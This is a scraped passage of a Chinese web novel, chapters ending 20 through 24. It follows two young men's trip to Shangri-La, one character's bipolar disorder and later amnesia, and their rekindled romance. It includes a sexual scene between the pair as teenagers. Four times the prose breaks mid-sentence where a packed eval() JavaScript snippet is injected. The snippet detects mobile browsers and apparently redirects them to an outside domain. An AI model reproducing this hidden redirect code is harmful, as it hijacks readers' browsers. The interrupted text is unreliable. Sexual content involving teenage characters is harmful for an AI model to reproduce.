季一南看了一眼手表,再有十分钟,他就必须要出门,否则很可能会错过航班。 垂手时他几乎有些丧气,但竟然听见了行李箱滚轮的声音。 回过头,季一南看见穿着一身宽松夏装的李不凡。 “打车了吗?”李不凡问。 “没有,马上打。”季一南回过神。 飞机在丽江落地,他们在这里中转,坐高铁去香格里拉。 路程不长,大约只要一个小时左右。上高铁时恰好是傍晚,连夕阳也有些晒人。 车厢内时不时有人小声交流,列车行驶的巨大轰鸣也从未停止。 他们原本一直在山洞里穿梭,直到有一刻,火红的阳光照过来,李不凡点了点玻璃示意他看窗外,季一南一颗心才彻底安静下来。 两座耸立的、裸露的高山之间,是滚动的泥土色的江水。 “这里是虎跳峡。”李不凡说。 他拿出随身带的速写本,用削得很尖的铅笔画起来。 “我从网上看了很多香格里拉的照片,早就想好要去哪些地方玩,可惜爬雪山适合五月,日照金山适合冬季,不过夏天也有夏天的景色。” 他表现出和很多时候都不太一样的兴奋,让季一南的担心消减很多。 到古城时天色已经暗下来,却恰好是这里最热闹的时候。下车时司机把他们放在古城的入口处,沿着小巷走进去,两侧的店铺都还亮着灯,不同的音乐飘在巷子里,有些乱,但不难听。一路上碰到了许多穿着特色服装的年轻人,食物的香气、欢乐的音乐,和入夜之后慢慢降下来的温度,将季一南完全拉入这里。 他们真的到香格里拉了。 回过神时,李不凡停在一家店铺前,和店主交谈着什么。 店外亮着一块灯牌,上面写“海娜纹身”。季一南并不知道什么是海娜纹身,起初以为只是这家店的名字。他等了一会儿,李不凡拿着一只小盒子出来,说他买了红色的颜料。 到了酒店,季一南放好行李箱,先去洗澡。 他打开淋浴,但水并没有立刻热起来。他听见浴室外靠近的脚步,李不凡贴着磨砂的玻璃门问他:“你想试试吗?” 季一南懵了一瞬,下意识问:“……什么?” “我说海娜纹身,几天就可以洗掉了。”李不凡说。 季一南沉默半秒,发觉是自己想错了。 “好,等我洗完澡。” 一整天都在交通,两个人洗完澡换了睡衣,季一南坐在床上,一副和自己的四肢不太熟悉的样子,问李不凡想纹在哪里。 “怎么问我,”李不凡打开针管一样的颜料,“如果让我选的话……” 他也坐上床,用手把季一南睡衣的下摆往上拨到胸口。 “你不问我要画什么吗?”李不凡趴下来,用颜料的针管做画笔。 季一南没有说话,而且他很快就知道了李不凡想要纹在哪里——肋骨之下,那是很敏感的地方,皮肤似乎都要比别处薄上许多。 笔尖刚落下时,季一南就觉得有些痒,好在李不凡手很稳,他画得很快,线条却意外流畅,仅仅几笔,季一南就看出花的形状。 “是什么花?”季一南问。 拿起笔的时候李不凡就很认真,他把头埋得很低,几乎贴在季一南的胸膛,只轻轻地说:“格桑花。” 李不凡在做事,可季一南没有。起初他在思考一道解法复杂的数学题,后来在努力发呆,再后来,他察觉旅店的灯光很暗,自己还是只能看着李不凡的侧脸。 他有很长很卷的睫毛,嘴唇也薄,含起来应该很软,也许轻易就能碰到口腔。 慢慢地季一南意识到自己不应该去想那些,心跳却停不下来。李不凡趴在他身上,他就控制不住地紧张,越是不想暴露,心跳就越快。 很漫长、很煎熬的几分钟过去以后,李不凡抬起身体,抽了两张纸用来擦渗着墨水的针管。 两朵格桑花顺着季一南肋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16284527|181286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骨的纹理横向开放,艳丽得和季一南这个古板、规矩的人很不搭。 “海娜的显色和体温有关系,体温越高颜色越深,”李不凡问,“你是喜欢深色还是浅色?” 他盘腿坐在床边,和季一南说话时微微弓着身体,半边脸是灯光的橙色。鬼使神差地,季一南试探着握住李不凡一只手的手腕,拇指摩挲了一下。他想到李不凡的问题,想的却不是颜色,而是如果眼前有一面镜子,他大概会看到自己痴迷的神色,像李不凡痴迷画画一样,他痴迷他。 “我喜欢深色,”季一南从未讲过如此过火的话,嗓音很哑,“体温要怎么高啊。” 李不凡手一顿,很轻地笑了,但好像不打算回答季一南的问题。他放下针管,感觉身后的床沉了一下,回头看时,被很快地吻住。 光被季一南的半边身体挡住了,他大胆地贴上来,却只碰着李不凡的嘴唇粗喘,不会动、不敢动。 李不凡眨了两下眼睛,很轻地抿了抿嘴唇,季一南抓住这么一点点空隙,长驱直入地舔了舔李不凡的两颗小猫牙。他闭上眼,想原来这就是和李不凡接吻的滋味,用手掌掐住了李不凡的下颌。 和想象中一样,李不凡是甜的,软的,香的,让人上..瘾的。 季一南圈住他的腰,模模糊糊地抱起他,两个人很默契地换了姿势,李不凡坐在季一南的腰间,挺得很直。 属于彼此的喘息不断加重,像某种没有挽回的希望的沉沦,李不凡小声呢喃,让季一南别弄花他的颜料,用湿了的手脱掉季一南的上衣,再往下坐了一点。 他感觉到了季一南的反应,故意问他为什么y,很轻很小地上下动起来。 “我给你画的纹身,”李不凡声音含糊地问,“你喜欢吗?” 季一南很难对李不凡说不,当时也已经有些神志不清,李不凡拽掉他的裤腰时,他以为自己在做梦。 第一次对季一南来说特别生涩,为了遵循李不凡的心意,不弄花他的画,季一南只好把他压在身下。李不凡趴在床上,轻薄的脊背对着他,潮..红的轻颤的身体,像寒风中摇晃的格桑花。 他们没有抱得很紧,也没有隔得很远,李不凡就那样侧脸贴着枕头,眼睛很亮,很亢..奋地配合着。 高c时季一南忍不住贴紧他和他接吻,最后的最后,才听见李不凡呼吸颤抖地问:“季一南,你说的喜欢我,是怎么样的喜欢呢?如果我是一个病人,你还会喜欢我吗?” 那一刻季一南还有很多事情没有想清楚,但忽然找到了答案。他心里有很多可怕的想象,但这一瞬间,只遵照真实想法,讲出自己的真心话:“只要是人都会生病。” 等季一南醒来时,窗外正在日出。 他身体很沉,低头才看见趴在身上的李不凡。他没穿衣服,钻进了季一南的睡衣里,和他皮..肉贴着皮..肉,好像一整晚都没怎么睡觉。 光线照在身上烫烫的,有很轻微的灼烧感,昨夜画的两朵格桑花,今早红过窗外的太阳。 李不凡说他有一个想去的地方。 21.第二十一章 从古城往外开了三个小时,一路上季一南都在做算术题。 自己手下有一套房子两辆车,百分之五的公司股份,如果是为了李不凡的病,父母会同意收购。他们有熟悉的医生,季一南会陪李不凡去医院,每次都到。 季一南惴惴不安。虽然李不凡没有说是自己生病了,但他既然这样问,季一南多少能够猜到。 再结合之前李不凡一些失常的表现……借口要补习英语,却又失踪好几天,这么长时间了,真的只是补习吗?是不是去医院了,要花这么多时间治疗,会不会很严重。 司机把他们放在那达的徒步路口,季一南才回过神。李不凡把放在后备箱的两只包拎出来,他们跟上其他徒步的队伍。 李不凡很长时间没睡觉了,但很快又开始和他讲话。 “我爸和我妈啊,总是在家里吵吵吵的,”李不凡笑了声,“从我有记忆开始,他们就没停下来过。我特别小的时候我妈还会哄我,拿着菜刀都要砍我爸了,还能转过头,笑着跟我说乖。其实他们当时特别可怕。” “他们明明互相厌烦,又不能分开。一起经营一家公司,怎么会没有分歧,”他又自问自答,“我爸我妈是白手起家,中间也有过几次特别失败的时候,虽然现在也算成功了,但他们可能一直非常怕自己再失去什么。” “我知道他们期待什么,他们期待我是一个能给家庭带来收益的人,不希望我把精力放在任何只消耗,不获得利益的事情上,也很讨厌看不见清晰的未来的感觉。就拿我画画这件事来说吧……” 李不凡顿了顿,“我爸就说我没什么画画的天赋,在他口中,我比不过他知道的任何一个画画的人。我有时候觉得他说得也对,反正不能算错吧,我大概是没什么天赋,在画画这件事情上,我连自己的审美都不被允许拥有。我妈呢,多少比我爸关心我一点,但她算是个典型的商人,讲究投入产出比,她总是会跟我强调,家里的钱不是白白花在我身上的。 “有天我爸我妈又因为公司的事情吵架,吵着吵着说到我了,我在房间的阳台上听得特别清楚,我爸把我的画笔掰断了,咔嚓一下,像果壳裂开。” 他们还在往前走,夏天的草地郁郁葱葱,远处的山却藏在雾里,看不清。 季一南的脑海里好像也多了一层这样的雾,他远远看到李不凡孤零零地站在雾里,很无助。 “我觉得我也算半个大人了,不能什么事都麻烦我爸爸吧,”李不凡笑得很勉强,但还是笑着,好像不想让季一南把这些事想得太沉重,“所以我就去帮了忙,我把我的所有画笔都折断了。我有时候觉得,他们对我根本是没有感情的,我就像是他们到了人生某个阶段必备的产物。 “但是有时候我又想,也不能这么极端吧,毕竟如果他们真的把我当做陌生人,也不会这样管我。” 不知不觉间他们脱离了正在休息的队伍,走到一处山崖边。 脚下湖水平静无波,淡薄的阳光落在湖面上,波光粼粼,真衬了它的名字——天女镜。 李不凡脱掉包,坐在悬崖边,山风阵阵,吹得他头发扬起。山崖十米左右,季一南瞥见那深不见底的水潭,突然开始害怕了。 他抓住李不凡手臂,想了很多话,不知道从哪句开始说,最后选了最重要的:“李不凡,不管怎么样你不可以伤害自己。” “我不会。”李不凡很自然地把手从季一南那里收了回来,又接着说:“我之前骗你去上英语课,是我爸发现我生病了,带我去看医生。我要定时去治疗,但我知道这个病是精神病,就像我爸和我说我不正常了一样,我不想让你觉得我是一个……” 他讲不下去了,垂下眼。 “我总是睡不着,总在想以后怎么办,知道自己生病以后这种情况更严重了。他们不重视我、不肯定我,我会觉得是我自己的问题。他们吵架、打架,我从很小的时候就很害怕。” “你说什么我都愿意听,”季一南意识到李不凡情绪不对,即使心惊胆战,也表现得非常冷静,“那边太危险了,你到我身边来好不好。” 逆着光,李不凡朝季一南抬起脸,“不危险吧。” 他竟然还笑了,“哥,你别这么胆小。” 李不凡一扬手,把季一南重重推开了。 水花很响亮地拍起来,几乎溅在季一南脸上。 季一南空白地望着湖里的气泡,反应半秒,也跳了进去。 湖水很凉,很冷很冰,季一南沉进水里,只看见湖面模糊的色块。 “季一南!” 第一个字还很浑浊,后面两个字却清晰起来。 猛一睁眼,他被李不凡抓出了湖面。 咳嗽两声,又被吻住。 李不凡的吻像撕咬,他扼住季一南的下颌,用舌尖舔他的齿列,又用牙齿咬他的嘴唇,咬到口腔里的湖水都变得暖了,多出了血腥味,才喘着气和季一南分开。 “季一南,你走吧,”李不凡的脸色忽然就变得很淡,很冷漠,“我得了躁郁症,会一段时间特别兴奋,一段时间又抑郁。你承 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16292671|181286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受不了这样的我,何况我……我不喜欢你。至少不是那种喜欢,我觉得可能是因为我从小都和你待在一起,我也没有其他的朋友,所以我比较依赖你。但现在我不能这样了。 “你走吧。” 季一南原地愣了片刻,李不凡已经转身朝湖岸走。 他在水里跌跌撞撞,几乎找不到方向,也走得很慢,季一南追了几步,就重新抓住李不凡的手臂,把他整个人扛在肩膀上。 李不凡趴在他的背上哭,湿透的衣服贴在他的身上,脊背像山的一段。 季一南低声说我不会走的,说是人都会生病,我慢慢陪你病好。 十几岁的季一南没遇到过做不好的事,就以为这一件也可以。他有无边的勇气,即使被喜欢的人拒绝,也觉得无所谓。 重新回到二十几岁的季一南因为亲身经历,知晓这个世界上真的存在无法挽回的人和事,所以每一步都走得小心翼翼,像还在天女镜那片湖水里,要推开许多阻力。 例如,和此时这个失去一切记忆的李不凡解释起他的感情为什么看起来快且随意,如同咽下一把钝刀。 房间里的灯光被李不凡调暗,他有些困,先闭上了眼。 季一南还睡不着,可是躺在他身边,又要装作能睡着的样子。偏偏他感冒了,嗓子很痒,咳嗽两声,李不凡就又动了动。季一南看着他裹在被子里的身影,停止了对从前的回想。 “晚上开这么长时间车过来,还不困吗?”李不凡低声问。 他没有睁眼,季一南很轻地抬起身,伸长手臂关掉了房间的灯。 “你睡吧。”季一南说。 “有吃药吗?” 季一南心里一紧。“吃什么药?” 李不凡睁开眼:“感冒药。” 他干脆坐起来,重新开了灯,蹲下来翻放在地上的行李箱,找出一包感冒冲剂。 热水是睡前烧的,现在还温温的,用来冲药刚好合适。李不凡给季一南弄好一杯感冒药,递到他手边,也不说废话:“喝。” 季一南一仰头,很快喝掉了一整杯。李不凡又躺上床,把被子往季一南身上压了压,“生着病跑来找我,就想让我心疼你,好让我心软是不是?我告诉你我不会心软的。” 他躺下来,仰脸看着季一南:“都是你自找的。” “嗯,是我自找的。” 李不凡不明白季一南说这句话的时候为什么还在笑,随手拿起一只多余的枕头堵在季一南脸上,便翻了个身,背朝他,重新闭上了眼。 22.第二十二章 次日天气格外好,洗漱完,李不凡和季一南一起下楼吃早餐。 时间还早,大堂里只坐着小柳和宋朗白。 听见脚步声,宋朗白转过头,手刚抬了一半,就顿在空中。 “干什么?”李不凡走过去,把宋朗白的手推倒了。 还夹着一筷子米线的小柳也忘了反应,直愣愣地盯着李不凡身后的季一南。 “没见过啊?”李不凡和过来的老板说,“我们要两碗米线,一碗不要香菜。” “昨天过来得比较晚,就没走。”季一南解释了一句,从筷筒里抽出两双筷子,用餐巾纸擦干净了。 这几天他们用了无人机拍摄,身上带的设备又多又重,季一南在也算是帮了大忙。 李不凡坐在山崖上操控无人机,因为还没找好合适的角度,他拍摄着视频,以求能够尽量照到所有区域。 无人机回来时,季一南正在和宋朗白聊天。 宋朗白指着山崖上一朵蘑菇,问季一南这是什么品种。 “鸡枞菌,菌肉是乳..白色的,可以吃。” 无人机在他们头上悬停,卷起一阵风。 季一南抬了下头,李不凡就从取景框里看见他的脸,摇着无人机离开了。 天气忽然转晴,他们临时修改了拍摄方案,往峡谷更深处走。 季一南几乎算得上他们的向导,这片区域他很熟悉,可以直接带路。 第二天傍晚,他们离开峡谷的时间比原定的计划晚了一点,因为在瀑布的位置宋朗白拍到了效果很好的照片,李不凡就说等他。 准备要走的时候,峡谷里开始下雨。 宋朗白和小柳都抱怨天气太差,好在季一南提前告诉他们今天可能会下雨。背包里的东西本来就够多了,他们还是塞了雨衣。 一行人躲在路过的山洞里,季一南把洞里还干着的杂草和落叶拢到一起,用随身携带的打火机点燃了。 李不凡没再在洞口看雨,他走过来坐在季一南身边,问他雨什么时候会停。 季一南抬手看了一眼表,说:“大概两个半小时吧。” “你怎么知道?”宋朗白惊讶地问。 “云量、湿度等等会对植物有很大影响,所以我每天都会看非常详细的天气报告,”季一南猜到宋朗白在想什么,“只靠我自己的话,大概只能判断短时间内会不会下雨。” “那也很厉害了……”小柳感叹。 只是两个半小时对现在的他们来说还是太长。天已经黑了,等雨完全停下来,整座山都会陷入夜晚,到那时回程的路会很难走。 还在想解决办法,山洞外忽然传来一阵动静,两道有些苍老的声音错落响起,语言是他们听不太懂的本地话。 李不凡和季一南相视一眼,便走到山洞口。 路过的是两位佝偻老人,他们一人身上一只背篓,穿着雨衣,在山林里穿梭。 能在这里遇到人,他们也很惊讶。 “阿婆阿公,”李不凡问他们,“雨这么大,你们去哪里?要不要跟我们进山洞。” “等会儿还会更大,”那阿婆用不太标准地普通话和他们说,“我们家就在旁边,很快就到了,你们去我们那里躲躲雨吧。” 这个天气山洞也不安全,季一南道了谢,说麻烦你们了,就回头叫小柳和宋朗白一起走。 两位老人的背篓里装满了蘑菇,可能是常在山林里行走,他们一点也不需要人搀扶,反而比拿着登山杖的小柳和宋朗白走得快。 穿过一片树林,眼前总算有了稍微好一点的路,上坡大约二十分钟,他们到了一个小村庄。 老人领着他们去了一栋泥土建的平房,雨中屋顶炊烟缭绕。李不凡低头进了屋,黑色瓦片边缘滴下的水淌进他的衣领里,很凉。 一个皮肤黝黑的年轻男生听见他们的脚步声从房子里走出来,看来了一群人,还有些发愣。 阿婆用藏语和他交流了什么,那男生频频点头,看向他们。 “叫我多吉就好。”多吉不算很高,大概只到李不凡肩膀的位置。 他的视线在每个人身上停留了几秒,看李不凡的时间最多。 几个人简单介绍了下自己,多吉让他们在旁边的小凳子上坐会儿,自己先去给他们弄点吃的。 李不凡先把雨衣脱掉了,里面的冲锋衣是防水的,但在山里穿行这么久,雨衣早就乱了,雨水不可避免地滚进衣服里。 季一南抽来几张纸,和李不凡一起擦着湿了的脸和脖子。 “我过去看看,帮个忙吧。”李不凡小声和季一南说。 他扔了纸,站起来绕到小厨房。从敞开的木门,季一南看见他和多吉在说话。 多吉往锅里倒了热水,不知是聊到了什么,李不凡笑着把面条煮下去。多吉拿着很长的筷子捞了捞,想看又不敢看地瞥了李不凡一眼。 “今天还好遇到你们了,”宋朗白坐在小凳子上,喝了口热水,“我本来还在想是不是应该找向导叫救援。” “我们也不是第一次在山里遇到游客,这边天气差,很多人不了解。”阿公说。 “还得多亏这位,”宋朗白猛地拍了下季一南肩膀,让他回过了神,“要不是他,我们身上连个雨衣都没有。” 季一南没说话,低头喝水。 这个屋子并不大,从客厅就能看到大约有四个房间,家具陈设非常简洁。木凳和木桌有了毛边,墙壁上的风景挂画也掉了颜色,一家人估计已经在这里生活很久很久了。 热水喝了一半,从厨房里飘出的香味掩盖了雨中的泥土气息,多吉拿着一个托盘,把几碗面条一起端出来。 大家到四四方方的桌边挤着坐下,头顶上一盏摇晃的白炽灯,把面条照得很亮。多吉分发着面碗和筷子,到给李不凡的时候,他视线又多停留了几秒。 李不凡和季一南都发现了他的停顿,于是抬起眼对上他的视线。 “哦……”多吉忽然红了脸,笑笑说,“这位……我以前好像见过。” “我吗?”李不凡放下筷子,“你以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16296615|181286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前见过我,是吗?” “我是在索朗雪山给人当向导的,”多吉说,“我很小的时候,大概十五六岁吧,就已经开始带游客上山了。 “我不知道我记错没有,大概三四年前,你是不是来过一次索朗?” 李不凡没办法回答这个问题,只是让多吉再说一些。 “我那个时候还小,有一次带的游客有很严重的高反,我劝他立刻下山,他不听,差点跟我动手,后来是有个上山的游客帮忙和我一起把他拉下山的,”多吉站起来,“我好像还有当时的视频,在另外一个手机里。” 他很快拿着一部旧手机从房间里出来。 画质很差,几乎只有模糊不清的像素。几个人都围上来,视频刚刚播放几秒,宋朗白就指了下屏幕边缘的一道人影。 “这个是你吧,就你走这两步我就认出来了。” “当时我想记录的,但我不好意思问人家能不能拍照,就偷偷带过了一下。”多吉解释。 “你能把这个视频发给我吗?”李不凡问。 雨停时已经入夜,多吉一家留下他们暂住一晚。 四个人挤在一个房间的通铺里,李不凡和季一南睡在小桌的一侧,小柳和宋朗白睡另外一侧。 季一南在院子里简单洗漱完回了房间。小柳和宋朗白都躺下了,李不凡垫着个枕头在看手机。 他走过去,李不凡就关了屏幕。 在山林里走了一整天,小柳和宋朗白早就累了。 灯一关,他们睡得很快。 李不凡侧过身,背对着季一南,把屏幕的光调得很暗,又看了几遍多吉发给他的视频。 那个视频总共也才四十几秒,其中有李不凡的部分不到二分之一。 他没有过正脸,还戴着防风镜和绒线帽,穿着衣领拉起的冲锋衣。 但和宋朗白一样,李不凡也能认出自己。 小柳的呼噜声几乎比得上雨后窗外滴水的声音,李不凡很轻地动了动。 “睡不着吗?”季一南靠过来,手搭在他颈侧,“我想出去抽根烟,走吗?” 两个人穿好外衣,轻手轻脚地离开房间。 空气中漂浮着清新的味道,除了屋檐下挂着一盏昏黄的灯,山野间除了纯粹的黑暗以外,看不到别的颜色。 季一南从冲锋衣的口袋里摸出一包烟,烟盒有些瘪了,大概不剩几根。 “还在看那个视频吗?”季一南咬着烟,点燃了。 薄薄的烟雾散在夜色里,李不凡闻到木头的味道,偏过脸,看季一南吸了一口烟,就伸手捏住那根烟的末尾,靠近季一南嘴唇的位置。 季一南松了牙齿,李不凡就把那根烟拿过来,自己抽了一口。 原来他是会抽烟的。 李不凡轻轻一咽,那缕烟从他的喉咙滚下去,几缕白雾由他的鼻腔徐徐吐出。 “看呢,看好多次了。” “多吉也看你很多次了。”季一南靠上前,眼睛盯着前面,好像没什么所谓地说出这句话。 23.第二十三章 李不凡却微妙地察觉到什么,轻笑道:“什么意思?” 他偏要转过身,仰着脸看季一南:“你吃醋了。” 季一南抱起手臂,垂下眼:“不好说。” “人家可能连什么是同..性.恋都没听过,”李不凡用夹着烟的指尖碰了碰季一南腰,“好了,别想了,又不可能。多吉都说了,是因为觉得我眼熟。” “他每天带那么多客人,难道每个都眼熟?”季一南说,“我觉得吧……” 讲到这里,又觉得自己实在太幼稚,不好开口了。 可话说了一半,总得补点什么搪塞过去。 偏偏季一南不是这种巧舌如簧的人,想不出来别的借口,干脆住嘴了。 “觉得什么?你说啊。”李不凡又吸了口烟。 季一南不懂,这灯这么暗,怎么李不凡的眼睛还是那么亮。 他眼神发直,抿了抿唇,拿过李不凡手里的烟,讲:“我觉得他就是觉得你好看,觉得看着你……就挪不开眼。” 不知道到底是在说自己还是说别人,季一南把烟搭到唇边,强迫自己移开视线。 这幅有些慌张的样子,反倒显得很可爱,李不凡小声道:“也不知道是谁觉得我好看,看我就挪不开眼。” “我啊。”这次季一南倒是没什么心理压力地承认了。 他这么诚实,李不凡反而不再说什么了,好像想到了别的事情,从他手里把烟拿回来,跟他一道看向远处。 无尽黑暗中竟然出现了几点晃动的白色,李不凡定睛一看,竟然是几只小羊,站在不远处小院外的山坡上。 “季一南,”李不凡把声音压得很轻,“你看那边,是羊吗?” “是。”季一南很快回答。 “你知道怎么把它们叫过来吗?”他又问。 李不凡没忍住笑了声,“你知道?那你叫过来试试。” “只要学小羊的叫声就可以,你试试。”季一南看着他。 “你是不是故意逗我呢?”李不凡不信。 “怎么会,”季一南示范,“咩——” 他嗓子很低,发出的声音不大,但那几只小羊好像立刻就听到了,纷纷转过头来,神色一凛。 “好像真有用,”李不凡把烟拿远,学季一南,“咩——” 可是他发出声音,小羊就不搭理。 “为什么?”李不凡诧异。 “声音要低一点,你再试试,”季一南搭着他肩膀,侧过脸,用拇指很轻地摁住他的喉结,“再试试。” 不知怎么,李不凡的呼吸慢了下来,他好像也碰到了季一南吐出的热气,带着一点点与他相同的烟草味。 “我不要,”李不凡说,“多幼稚。” “怎么突然幼稚了。”季一南的手指放松了一些,可却没有再退开哪怕一点点。他的拇指缓慢地动起来,摩挲着李不凡颈侧的皮肤,完整地从他的下颌到衣领。 “半夜学羊叫,他们要是被你吵醒,我不会帮你背锅的。” “我学得那么像,他们说不定以为是真的羊。” “行,你……” 李不凡骤然抬眼,无意中和季一南对视。 他才发现季一南的眼神是这样的,像那乌云后的月亮,若隐若现、朦朦胧胧,还是那么温柔。 “季一南,”李不凡眨了下眼,说话时,他很自然地抬了一点头,只差分毫,就会碰到季一南的嘴唇,“很长一段时间里,我觉得自己就活在这样一片黑暗中。” “你喜欢上了一个残疾的人。”李不凡错开一些,冰冷的空气汹涌地钻进来,他唇角还是笑着的,可那笑让季一南觉得很难受。 于是季一南用掌心捂住李不凡的眼睛,却亲吻了一下自己的手背。 “你不是。” “我还没有说完,”李不凡平静地呼吸着,“多吉问我那些事的时候我全都想不起来,不管是谁问我从前,我都说不出来。 “因为我什么都不知道,就是字面意思,我失忆了,什么都不记得。” 李不凡握住季一南的手,拿开了眼前的遮挡,但还牵着他。 “你以前喜欢过多少人,你还记得吗?” 这个问题好像很难回答,李不凡理解的,毕竟他也算季一南想要发展的对象,这样就和问前任没什么区别,也许是人都会难以启齿。 他打算换一个话题,季一南却说:“只有一个。” 李不凡看不出情绪地嗯了一声,手指轻轻屈起,掸了掸烟灰。 “我觉得人是由记忆构成的,”他继续说,“没有记忆就什么都没有了。” “你完全不记得了吗?”季一南打断他的话,“哪怕一点点,都没有吗?” “我一直在做梦,我梦到过我从很高的地方跌下来,后来我又梦到自己一直在打电话,那通电话是打给谁的我不知道,我只知道没有人接,可是我也不希望有人接……”李不凡咽了一口烟,“好像是这样。” “想这些会让你很痛苦吗?”好像是被灯光刺到,季一南也偏过头,和李不凡一起看向夜色。 “怎么关心这个?”李不凡笑了声,“我以为你会关心关心我有多少个前任。” “你有吗?”季一南问。 “估计没有吧,我有记忆以后就把手机翻了个遍,我找到了我的父母,我的几个很久很久没联系的朋友,但没找到男朋友或者前任。” “你是怎么找的?” “我手机里不可能什么都没有吧?短信、照片,我全部都看过了,我还在搜索栏里搜宝贝宝宝男朋友女朋友对象之类的关键字,什么都没有。” 不可能什么都没有,如果他真的爱过谁。 李不凡又抽了一口烟,手还没垂下去,那根烟又被季一南拿走了。 他咬住烟嘴,很用力地吸了一口。 “没有就算了。”季一南好像是被呛到,也好像是冷了,咳嗽了两声。 李不凡才想起他感冒还没好。 “要不要进去?外面冷啊……” “我没事,”季一南转过眼,“你冷吗?” 他揽住李不凡的肩膀,这大概可以算得上一个拥抱。 季一南身上很暖,两个人贴在一起,这个夜晚就没那么冷了。 李不凡看不见他的表情,就沿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16303565|181286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着刚才的话题继续聊下去。 他说你真的不怕我骗你吗?你不怕我以前不是什么正经职业,不怕我犯过什么事,不怕我爱过什么见不得光的人,你怎么什么都不怕。 这些问题季一南一个也没有回答,他还在说自己想说的话。 “人不是由记忆构成的,人是由爱构成的。” 人是由爱构成的。 李不凡想了很久这句话,直到季一南手里的烟熄灭了。 “我觉得另外一件事你也有必要知道,”李不凡说,“我以前还患有双相,就是躁郁症。” 他几乎有些自暴自弃地笑了笑。 “所以我觉得,以前的我可能不像你说的那样。 “我不是由爱构成的。” 我的爱也算数。 季一南很想很想就这样告诉他,以前我们相爱过。 可他还是不忍心,因为他知道李不凡的过去如同他的猜测,有一部分非常不堪的回忆。 “你的过去我都无所谓,我只想让你以后都过得很好。”季一南吸了吸鼻子,把烟扔掉,抬手揽了下李不凡的肩膀,说:“走吧,外面冷。” 这几乎算是一个有些草率的回答,李不凡猜测季一南一点也不了解躁郁症,所以才会表现得这样不在乎。 他挡了下季一南的手,说:“躁郁症……” “我知道,”季一南打断,“没有关系的,人都会生病,我不怕,你也不要怕。” 李不凡觉得季一南完全搞错重点,可他不知道应该怎么反驳,就这样被绕进对方的逻辑里。 “我没有害怕,其实我失忆之后这个病莫名其妙就好了,没有那些记忆,我好像很难受影响。” 季一南看了李不凡一会儿,垂下眼。 “所以你是想让我害怕,你是想推开我。” 他又抬起眼皮,眼圈很难察觉地红了一点:“你能不能别这样?我也有选择喜欢谁的权利,我就想喜欢你,你不讨厌我,就不要推开我。” 李不凡无奈地笑笑,“我不是……如果你接受得太快,我也会觉得……” “觉得什么?”季一南问。 “觉得你不是认真的所以才不在乎。”李不凡说。 季一南一时间顿住了,好像是真的没有这样想过。 “我不需要接受什么,”他很慢地说,“我喜欢上的这个你,就是现在的你,你以前是谁,经历过什么,如果要说重要的话,也只是对你重要,对我来说—— “我不在乎。这才是我不在乎的事。” 李不凡又一次审视起季一南。本来他想,只是谈恋爱而已,这件事没那么复杂,两个人互相喜欢,在一起就好了。 一开始就去想天长地久,好像才是最奇怪的那种做法。 但就是出现了这么一个人,让你忍不住去做这样的假设。 就算李不凡失去所有记忆,也明白这有多难得。 过了很久很久,他才给季一南一个回答:“我不推开你。” “你知道么?”他拿指尖轻轻戳了下季一南心脏的位置,“你的这里,很亮,像一颗星星一样,我一眼就看到了。” 24、第二十四章 在外面站得够久,两个人都冷了。 房间里很黑,开手电又怕打扰大家睡觉。季一南夜视视力好,牵着李不凡的手,很轻地带他回到床边。 窸窸窣窣躺上床,小柳的呼噜声还是震耳欲聋。 多吉给的被子很多,但不算厚,也不算保暖,李不凡怕季一南又被冷到,就睡得靠近他一些。 “我不知道……”小柳这么能打呼噜。 李不凡想悄悄和季一南说话,但他刚刚出声,季一南就低下脸,靠他很近。 鼻尖抵在一起,过了不知道几秒,季一南贴过来,很慢很轻地咬了咬李不凡的嘴唇。 四片唇瓣分开时发出微小的水声,季一南压着声音和他说:“靠过来一点。” 等李不凡在自己身边躺好了,他抬手,用温热的掌心捂住李不凡朝外那一侧的耳朵。 吵闹的呼噜声弱了不少,李不凡闭上眼,很快沉入梦里。 可能是因为和季一南提到了自己的梦,这天李不凡又梦到自己坐在窗前打电话。 